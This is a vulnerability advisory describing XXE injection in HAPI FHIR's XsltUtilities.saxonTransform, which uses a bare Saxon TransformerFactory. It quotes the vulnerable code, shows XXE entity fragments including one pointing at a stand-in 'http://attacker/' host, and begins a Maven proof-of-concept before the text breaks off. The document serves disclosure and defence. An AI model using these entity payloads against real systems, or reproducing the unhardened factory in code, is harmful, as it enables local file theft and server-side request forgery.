HAPI FHIR: XXE in XsltUtilities.saxonTransform via unhardened Saxon TransformerFactory
Summary
org.hl7.fhir.utilities.XsltUtilities exposes two parallel families of XSLT
transform helpers. The transform(...) overloads obtain their
TransformerFactory from the project's hardened helper
XMLUtil.newXXEProtectedTransformerFactory() (which sets
ACCESS_EXTERNAL_DTD="" and ACCESS_EXTERNAL_STYLESHEET=""). The sibling
saxonTransform(...) overloads instead instantiate a bare
new net.sf.saxon.TransformerFactoryImpl() with no external-access
restriction. A document transformed through any saxonTransform(...) overload
is parsed with external general entities and external DTD/parameter entities
enabled, so an attacker who controls (or can MITM) the transformed XML obtains
XML External Entity injection: local file disclosure and blind XXE / SSRF to
arbitrary URLs reachable from the host.
XMLUtil documents that its protected factory "should be the only place where
TransformerFactory is instantiated in this project". The saxonTransform
overloads violate that contract while their same-file transform siblings
honour it.
Affected versions
org.hl7.fhir.utilities (Maven ca.uhn.hapi.fhir:org.hl7.fhir.utilities)
<= 6.9.8 (latest release at time of report; verified live on 6.9.8).
The bare net.sf.saxon.TransformerFactoryImpl() instantiation is present at
XsltUtilities.java:61, :91, and :106.
Privilege required
None at the library boundary. The exposure depends on the calling tool: any
FHIR component that runs XsltUtilities.saxonTransform(...) over XML whose
source document, embedded DTD, or referenced stylesheet is attacker-influenced
(an IG package, a fetched/uploaded resource, a downloaded stylesheet, or a
MITM'd HTTP fetch) triggers the XXE. No DOCTYPE/entity stripping occurs before
the Saxon parser sees the bytes.
Root cause
org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/XsltUtilities.java:
```java
// VULNERABLE — bare factory, no external-access restriction (lines 60-73, 90-99, 105-128)
public static byte[] saxonTransform(Map<String, byte[]> files, byte[] source, byte[] xslt) throws TransformerException {
TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl(); // <-- bare
f.setAttribute("http://saxon.sf.net/feature/version-warning", Boolean.FALSE);
StreamSource xsrc = new StreamSource(new ByteArrayInputStream(xslt));
f.setURIResolver(new ZipURIResolver(files));
Transformer t = f.newTransformer(xsrc);
...
}
public static String saxonTransform(String source, String xslt) throws TransformerException, IOException {
TransformerFactoryImpl f = new net.sf.saxon.TransformerFactoryImpl(); // <-- bare
...
}
// HARDENED SIBLING (same file, lines 75-88 / 130-149) — negative control
public static byte[] transform(Map<String, byte[]> files, byte[] source, byte[] xslt) throws TransformerException {
TransformerFactory f = org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(); // <-- hardened
...
}
```
The hardened helper (XMLUtil.newXXEProtectedTransformerFactory()) is:
```java
public static TransformerFactory newXXEProtectedTransformerFactory() {
final TransformerFactory transformerFactory = TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
return transformerFactory;
}
```
The saxonTransform overloads never call this helper and never set the two
ACCESS_EXTERNAL_* attributes, so the underlying parser resolves external
general entities (<!ENTITY x SYSTEM "file:///...">) and external
DTD/parameter entities (<!ENTITY % p SYSTEM "http://attacker/">). This is a
classic CWE-611. The asymmetry — one family hardened, the co-located sibling
family bare — is the bug: the protection that already exists in the same class
was not extended to the saxonTransform variants.
Reproduction (E2E against published Maven Central org.hl7.fhir.utilities:6.9.8)
A self-contained Maven project. pom.xml pulls the latest released artifact,
which transitively brings net.sf.saxon:Saxon-HE:11.6.
pom.xml:
```xml
<project xmlns="http://maven.apache.org/POM/4.0.0">
<modelVersion>4.0.0</modelVersion>
<groupId>poc</groupId><artifactId>fhir-xslt-xxe-poc</artifactId><version>1.0</version>
<properties>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>ca.uhn.hapi.fhir</groupId>
<artifactId>org.hl7.fhir.utilities</artifactId>
<version>6.9.8</version>
</dependency>
</dependencies>
</project>
```
src/main/java/Poc.java:
```java
import org.hl7.fhir.utilities.XsltUtilities;
import java.io.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.*;
public class
